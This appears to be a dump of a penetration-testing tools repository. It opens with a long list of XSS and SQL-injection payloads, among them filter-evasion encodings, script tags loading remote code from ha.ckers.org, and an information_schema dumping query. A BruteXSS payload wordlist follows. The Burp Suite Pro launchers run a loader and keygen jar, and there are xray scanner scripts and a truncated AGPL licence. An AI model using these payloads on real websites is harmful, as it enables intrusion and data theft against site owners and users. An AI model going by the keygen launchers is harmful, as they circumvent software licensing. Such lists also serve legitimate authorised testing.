    "content": "<script>alert(1)</script>\r\n<scRipt>alErt(1)</scrIpt>\r\n<img src=x onerror=alert(1)>\r\n<script type=vbscript>MsgBox(0)</script>\r\na'or 2=2--\r\n<IMG SRC=javascript:alert(\"XSS\")>\r\n<IMG SRC=JaVaScRiPt:alert(\"XSS\")>\r\n<BODY ONLOAD=alert(\"XSS\")>\r\n<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41>\r\n<IMG SRC=\"   javascript:alert(\"XSS\");\">\r\n<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>\r\n<BODY BACKGROUND=\"javascript:alert(\"XSS\")\">\r\n<IMG DYNSRC=\"javascript:alert(\"XSS\")\">\r\n<INPUT TYPE=\"image\" DYNSRC=\"javascript:alert(\"XSS\");\">\r\n<BGSOUND SRC=\"javascript:alert(\"XSS\");\">\r\n<br size=\"&{alert(\"XSS\")}\">\r\n<LAYER SRC=\"http://xss.ha.ckers.org/a.js\"></layer>\r\n<LINK REL=\"stylesheet\" HREF=\"javascript:alert(\"XSS\");\">\r\n<IMG SRC=\"vbscript:msgbox(\"XSS\")\">\r\n<IMG SRC=\"mocha:[code]\">\r\n<IMG SRC=\"livescript:[code]\">\r\n<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert(\"XSS\");\">\r\n<IFRAME SRC=javascript:alert(\"XSS\")></IFRAME>\r\n<FRAMESET><FRAME SRC=javascript:alert(\"XSS\")></FRAME></FRAMESET>\r\n<TABLE BACKGROUND=\"javascript:alert(\"XSS\")\">\r\n<DIV STYLE=\"background-image: url(javascript:alert(\"XSS\"))\">\r\n<DIV STYLE=\"behaviour: url(\"http://xss.ha.ckers.org/exploit.htc\");\">\r\n<DIV STYLE=\"width: expression(alert(\"XSS\"));\">\r\n<STYLE>@im\\port\"\\ja\\vasc\\ript:alert(\"XSS\")\";</STYLE>\r\n<IMG STYLE=\"xss: expre\\ssion(alert(\"XSS\"))\">\r\n<STYLE TYPE=\"text/javascript\">alert(\"XSS\");</STYLE>\r\n<XML SRC=\"javascript:alert(\"XSS\");\">\r\n\"> <BODY ONLOAD=\"a();\"><SCRIPT>function a(){alert(\"XSS\");}</SCRIPT><\"\r\n<SCRIPT SRC=\"http://xss.ha.ckers.org/xss.jpg\"></SCRIPT>\r\n<IMG SRC=\"javascript:alert(\"XSS\")\"\r\n<SCRIPT a=\">\" SRC=\"http://xss.ha.ckers.org/a.js\"></SCRIPT>\r\n<SCRIPT =\">\" SRC=\"http://xss.ha.ckers.org/a.js\"></SCRIPT>\r\n<SCRIPT a=\">\" \"\" SRC=\"http://xss.ha.ckers.org/a.js\"></SCRIPT><SCRIPT \"a=\">\"\" SRC=\"http://xss.ha.ckers.org/a.js\"></SCRIPT>\r\n<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://xss.ha.ckers.org/a.js\"></SCRIPT>\r\n<A HREF=http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D>link</A>\r\n<A HREF=ht://www.google.com/>link</A>\r\n<A HREF=http://google.com/>link</A>\r\n<A HREF=http://www.google.com./>link</A>\r\n<A HREF=\"javascript:document.location=\"http://www.google.com/\"\">link</A>\r\n<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>\r\n<BASE HREF=\"javascript:alert(\"XSS\");//\">\r\n<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>\r\n<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">\r\n<IMG SRC=# onmouseover=\"alert(\"xxs\")\">\r\n<IMG SRC= onmouseover=\"alert(\"xxs\")\">\r\n<IMG onmouseover=\"alert(\"xxs\")\">\r\n<IMG SRC=/ onerror=\"alert(String.fromCharCode(88,83,83))\"></img>\r\n<img src=x onerror=\"&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041\">\r\n<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>\r\n<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>\r\n<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>\r\n<IMG SRC=\"javascript:alert(\"XSS\");\">\r\n<IMG SRC=\"jav&#x09;ascript:alert(\"XSS\");\">\r\n<IMG SRC=\"jav&#x0A;ascript:alert(\"XSS\");\">\r\n<IMG SRC=\"jav&#x0D;ascript:alert(\"XSS\");\">\r\n<IMG SRC=\" &#14;  javascript:alert(\"XSS\");\">\r\n<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>\r\n<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>\r\n<SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>\r\n<<SCRIPT>alert(\"XSS\");//<</SCRIPT>\r\n<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >\r\n<SCRIPT SRC=//ha.ckers.org/.j>\r\n<IMG SRC=\"javascript:alert(\"XSS\")\"\r\n<iframe src=http://ha.ckers.org/scriptlet.html <\r\n\\\";alert(\"XSS\");//\r\n</script><script>alert(\"XSS\");</script>\r\n</TITLE><SCRIPT>alert(\"XSS\");</SCRIPT>\r\n<a/onmouseover[\\x0b]=location='\\x6A\\x61\\x76\\x61\\x73\\x63\\x72\\x69\\x70\\x74\\x3A\\x61\\x6C\\x65\\x72\\x74\\x28\\x30\\x29\\x3B'>\r\n<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>\r\n<marquee/onstart=confirm(2)>\r\n<table background=\"javascript:alert(1)\"></table>\r\n\"/><marquee onfinish=confirm(123)>a</marquee>\r\n<svg/onload=prompt(1);>\r\n<isindex action=\"javas&tab;cript:alert(1)\" type=image>\r\n<marquee/onstart=confirm(2)>\r\n/*!00000concat*/(0x63726561746f723a2064705f6d6d78,0x3c62723e3c666f6e7420636f6c6f723d677265656e2073697a653d353e44622056657273696f6e203a20,version(),0x3c62723e44622055736572203a20,user(),0x3c62723e3c62723e3c2f666f6e743e3c7461626c6520626f726465723d2231223e3c74686561643e3c74723e3c74683e44617461626173653c2f74683e3c74683e5461626c653c2f74683e3c74683e436f6c756d6e3c2f74683e3c2f74686561643e3c2f74723e3c74626f64793e,(select%20(@x)%20/*!00000from*/%20(select%20(@x:=0x00),(select%20(0)%20/*!00000from*/%20(information_schema/**/.columns)%20where%20(table_schema!=0x696e666f726d6174696f6e5f736368656d61)%20and%20(0x00)%20in%20(@x:=/*!00000concat*/(@x,0x3c74723e3c74643e3c666f6e7420636f6c6f723d7265642073697a653d333e266e6273703b266e6273703b266e6273703b,table_schema,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d677265656e2073697a653d333e266e6273703b266e6273703b266e6273703b,table_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75652073697a653d333e,column_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c2f74723e))))x))\r\n<object%00something allowScriptAccess=always data=//0me.me/demo/xss/flash/normalEmbededXSS.swf?\r\n0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user\r\n1 AND (select DCount(last(username)&after=1&after=1) from users where username=ad1min)\r\n1 AND (select DCount(last(username)&after=1&after=1) from users where username='ad1min')\r\n%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E\r\n<details ontoggle=alert(1)>\r\n<div contextmenu=\"xss\">Right-Click Here<menu id=\"xss\" onshow=\"alert(1)\">\r\n<body style=\"height:1000px\" onwheel=\"[DATA]\">\r\n<div contextmenu=\"xss\">Right-Click Here<menu id=\"xss\" onshow=\"[DATA]\">\r\n<body style=\"height:1000px\" onwheel=\"prom%25%32%33%25%32%36x70;t(1)\">\r\n<div contextmenu=\"xss\">Right-Click Here<menu id=\"xss\" onshow=\"prom%25%32%33%25%32%36x70;t(1)\">\r\n<body style=\"height:1000px\" onwheel=\"alert(1)\">\r\n<div contextmenu=\"xss\">Right-Click Here<menu id=\"xss\" onshow=\"alert(1)\">\r\n<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>\r\n<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>\r\n?<input type=\"search\" onsearch=\"aler\\u0074(1)\">\r\n<details ontoggle=alert(1)>\r\n"
  },
  {
    "path": "BruteXSS/wordlist.txt",
    "content": "</script>\"><script>prompt(1)</script>\n</ScRiPt>\"><ScRiPt>prompt(1)</ScRiPt>\n\"><img src=x onerror=prompt(1)>\n\"><svg/onload=prompt(1)>\n\"><iframe/src=javascript:prompt(1)>\n\"><h1 onclick=prompt(1)>Clickme</h1>\n\"><a href=javascript:prompt(1)>Clickme</a>\n\"><a href=\"javascript:confirm%28 1%29\">Clickme</a>\n\"><a href=\"data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+\">click</a>\n\"><textarea autofocus onfocus=prompt(1)>\n\"><a/href=javascript&colon;co\\u006efir\\u006d&#40;&quot;1&quot;&#41;>clickme</a>\n\"><script>co\\u006efir\\u006d`1`</script>\n\"><ScRiPt>co\\u006efir\\u006d`1`</ScRiPt>\n\"><img src=x onerror=co\\u006efir\\u006d`1`>\n\"><svg/onload=co\\u006efir\\u006d`1`>\n\"><iframe/src=javascript:co\\u006efir\\u006d%28 1%29>\n\"><h1 onclick=co\\u006efir\\u006d(1)>Clickme</h1>\n\"><a href=javascript:prompt%28 1%29>Clickme</a>\n\"><a href=\"javascript:co\\u006efir\\u006d%28 1%29\">Clickme</a>\n\"><textarea autofocus onfocus=co\\u006efir\\u006d(1)>\n\"><details/ontoggle=co\\u006efir\\u006d`1`>clickmeonchrome\n\"><p/id=1%0Aonmousemove%0A=%0Aconfirm`1`>hoveme\n\"><img/src=x%0Aonerror=prompt`1`>\n\"><iframe srcdoc=\"&lt;img src&equals;x:x onerror&equals;alert&lpar;1&rpar;&gt;\">\n\"><h1/ondrag=co\\u006efir\\u006d`1`)>DragMe</h1>\n"
  },
  {
    "path": "Burpsuite/BurpSuite_2021.bat",
    "content": ":: authour: ym2011\r\n:: time: 2020-8-19\r\n:: verison: 1.0\r\n@echo off\r\ntitle burpsuite runs...\r\necho ****************************************\r\necho ********burpsuite is starting***********\r\necho   now burpsuite must runs with java sdk 9 or higher.\r\necho   change the java.exe which you have installed.\r\necho   here,for example, it's \"C:\\Program Files\\java\\jdk-12\\bin\\java.exe\"\r\necho ****************************************\r\n\r\n\"C:\\Program Files\\java\\jdk-12\\bin\\java.exe\" -Dfile.encoding=utf-8 -javaagent:BurpSuiteLoader.jar -noverify -jar burpsuite_pro_v2021.10.jar"
  },
  {
    "path": "Burpsuite/README.MD",
    "content": "This is a folder collecting some useful extenders for burp suite   \n\nJava-Deserialization-Scanner: https://github.com/federicodotta/Java-Deserialization-Scanner  \n\nJ2EEScan: https://github.com/ilmila/J2EEScan    \n\nShiroPassiveScan:  https://github.com/pmiaowu/BurpShiroPassiveScan    \n"
  },
  {
    "path": "Burpsuite/Run Burp Suite_v1.7.37.bat",
    "content": ":: authour: ym2011\r\n:: time: 2020-8-19\r\n:: verison: 1.0\r\n@echo off\r\ntitle burpsuite pro is runnig...\r\necho ****************************************\r\necho ********burpsuite is starting***********\r\necho ****************************************\r\njava -Xbootclasspath/p:burp-loader-keygen.jar -Xms4096M -jar burpsuite_pro_v1.7.37.jar"
  },
  {
    "path": "Burpsuite/download-link.txt",
    "content": "Professional / Community 2020.11.3 ：   \nhttps://portswigger.net/burp/releases/download?product=pro&version=2020.11.3&type=Jar   \n\nEnterprise Edition 2020.11 ：\nhttps://portswigger.net/burp/releases/download?product=enterprise&version=2020.11&type=WindowsX64   \n\n链接：https://pan.baidu.com/s/12PZeTYKsEgONS0ANRw7aVQ    \n提取码：2xtu  \n说明：\nBurpSuite1.5\nBurpSuite1.6\nBurpSuite1.7\nBurpSuite2.0\nExtender\nBurpSuite.doc\n"
  },
  {
    "path": "Burpsuite/xray_run_with_burp.bat",
    "content": ":: authour: ym2011\r\n:: time: 2020-12-07\r\n:: verison: 1.1\r\n\r\n@echo off\r\ntitle xray run with burpsuite pro\r\n\r\nset YYYYmmdd=%date:~0,4%%date:~5,2%%date:~8,2%\r\nset hhmiss=%time:~0,2%%time:~3,2%%time:~6,2%\r\nset report=xray_report_%YYYYmmdd%_%hhmiss%.html\r\n\r\ngoto comment\r\n联动burp说明：https://docs.xray.cool/#/scenario/burp\r\n引擎初次运行时，会在当前目录内生成一个 config.yaml 文件\r\n按需进行修改config.yaml的配置\r\n配置文件说明；https://docs.xray.cool/#/configration/config\r\nrestriction:\r\n    includes: # 允许扫描的域，此处无协议\r\n    - '*' # 表示允许所有的域名和 path\r\n    - 'example.com' # 表示允许 example.com 下的所有 path\r\n    - \"example.com/admin*\" # 表示允许 example.com 下的 /admin 开头的 path\r\n    excludes:\r\n    - '*google*'\r\n    - '*github*'\r\n    - '*.gov.cn'\r\n    - '*.edu.cn'\r\n    - '*chaitin*'\r\n    - '*xray.cool'\r\n:comment\r\n\r\necho ****************************************\r\necho do not run xray when repeat the packet within burpsuite.\r\necho it will delete or create hundred of contents automatically.\r\n\r\nif not exist ca.crt (\r\n\tgoto generaca\r\n) else (\r\ngoto backup\r\n)\r\n\r\n:generaca\r\necho ****************************************\r\necho **** genering ca.crt and ca.key ********\r\n.\\xray_windows_amd64.exe genca\r\necho generaca successfully.\r\n\r\n:backup\r\nif exist proxy.html (\r\n\tgoto backupreport\r\n) else (\r\ngoto start\r\n)\r\n\r\n:backupreport\r\necho ****************************************\r\necho **** old report is backuping now *******\r\ncopy proxy.html %report%\r\necho successfully,it's name is: %report%.\r\ndel proxy.html\r\n\r\n:start\r\nrem 如果需要扫描教育政府类网站，请在config.yaml注释掉（前面加#），如# - '*.gov.cn'\r\nrem 1、powershell 执行监听爬虫，联动burp\r\n:: .\\xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output proxy.html\r\necho ****************************************\r\necho ********now, xary started***************\r\n\r\n\r\n.\\xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output proxy.html\r\n\r\nrem 2、使用 xray 基础爬虫模式进行漏洞扫描\r\n:: .\\xray_windows_amd64 webscan --basic-crawler http://testphp.vulnweb.com/ --html-output 1.html\r\n\r\nrem 自1.2.0开始，高级版新增浏览器爬虫支持\r\n::.\\xray_windows_amd64 webscan --browser-crawler  http://testphp.vulnweb.com/ --html-output 2.html\r\n\r\npause"
  },
  {
    "path": "DBScanner/.gitignore",
    "content": "# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n*$py.class\n\n# C extensions\n*.so\n\n# Distribution / packaging\n.Python\nenv/\nbuild/\ndevelop-eggs/\ndist/\ndownloads/\neggs/\n.eggs/\nlib/\nlib64/\nparts/\nsdist/\nvar/\nwheels/\n*.egg-info/\n.installed.cfg\n*.egg\n\n# PyInstaller\n#  Usually these files are written by a python script from a template\n#  before PyInstaller builds the exe, so as to inject date/other infos into it.\n*.manifest\n*.spec\n\n# Installer logs\npip-log.txt\npip-delete-this-directory.txt\n\n# Unit test / coverage reports\nhtmlcov/\n.tox/\n.coverage\n.coverage.*\n.cache\nnosetests.xml\ncoverage.xml\n*.cover\n.hypothesis/\n\n# Translations\n*.mo\n*.pot\n\n# Django stuff:\n*.log\nlocal_settings.py\n\n# Flask stuff:\ninstance/\n.webassets-cache\n\n# Scrapy stuff:\n.scrapy\n\n# Sphinx documentation\ndocs/_build/\n\n# PyBuilder\ntarget/\n\n# Jupyter Notebook\n.ipynb_checkpoints\n\n# pyenv\n.python-version\n\n# celery beat schedule file\ncelerybeat-schedule\n\n# SageMath parsed files\n*.sage.py\n\n# dotenv\n.env\n\n# virtualenv\n.venv\nvenv/\nENV/\n\n# Spyder project settings\n.spyderproject\n.spyproject\n\n# Rope project settings\n.ropeproject\n\n# mkdocs documentation\n/site\n\n# mypy\n.mypy_cache/\n"
  },
  {
    "path": "DBScanner/LICENSE",
    "content": "                    GNU AFFERO GENERAL PUBLIC LICENSE\n                       Version 3, 19 November 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU Affero General Public License is a free, copyleft license for\nsoftware and other kinds of works, specifically designed to ensure\ncooperation with the community in the case of network server software.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nour General Public Licenses are intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  Developers that use our General Public Licenses protect your rights\nwith two steps: (1) assert copyright on the software, and (2) offer\nyou this License which gives you legal permission to copy, distribute\nand/or modify the software.\n\n  A secondary benefit of defending all users' freedom is that\nimprovements made in alternate versions of the program, if they\nreceive widespread use, become available for other developers to\nincorporate.  Many developers of free software are heartened and\nencouraged by the resulting cooperation.  However, in the case of\nsoftware used on network servers, this result may fail to come about.\nThe GNU General Public License permits making a modified version and\nletting the public access it on a server without ever releasing its\nsource code to the public.\n\n  The GNU Affero General Public License is designed specifically to\nensure that, in such cases, the modified source code becomes available\nto the community.  It requires the operator of a network server to\nprovide the source code of the modified version running there to the\nusers of that server.  Therefore, public use of a modified version, on\na publicly accessible server, gives the public access to the source\ncode of the modified version.\n\n  An older license, called the Affero General Public License and\npublished by Affero, was designed to accomplish similar goals.  This is\na different license, not a version of the Affero GPL, but Affero has\nreleased a new version of the Affero GPL which permits relicensing under\nthis license.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU Affero General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such 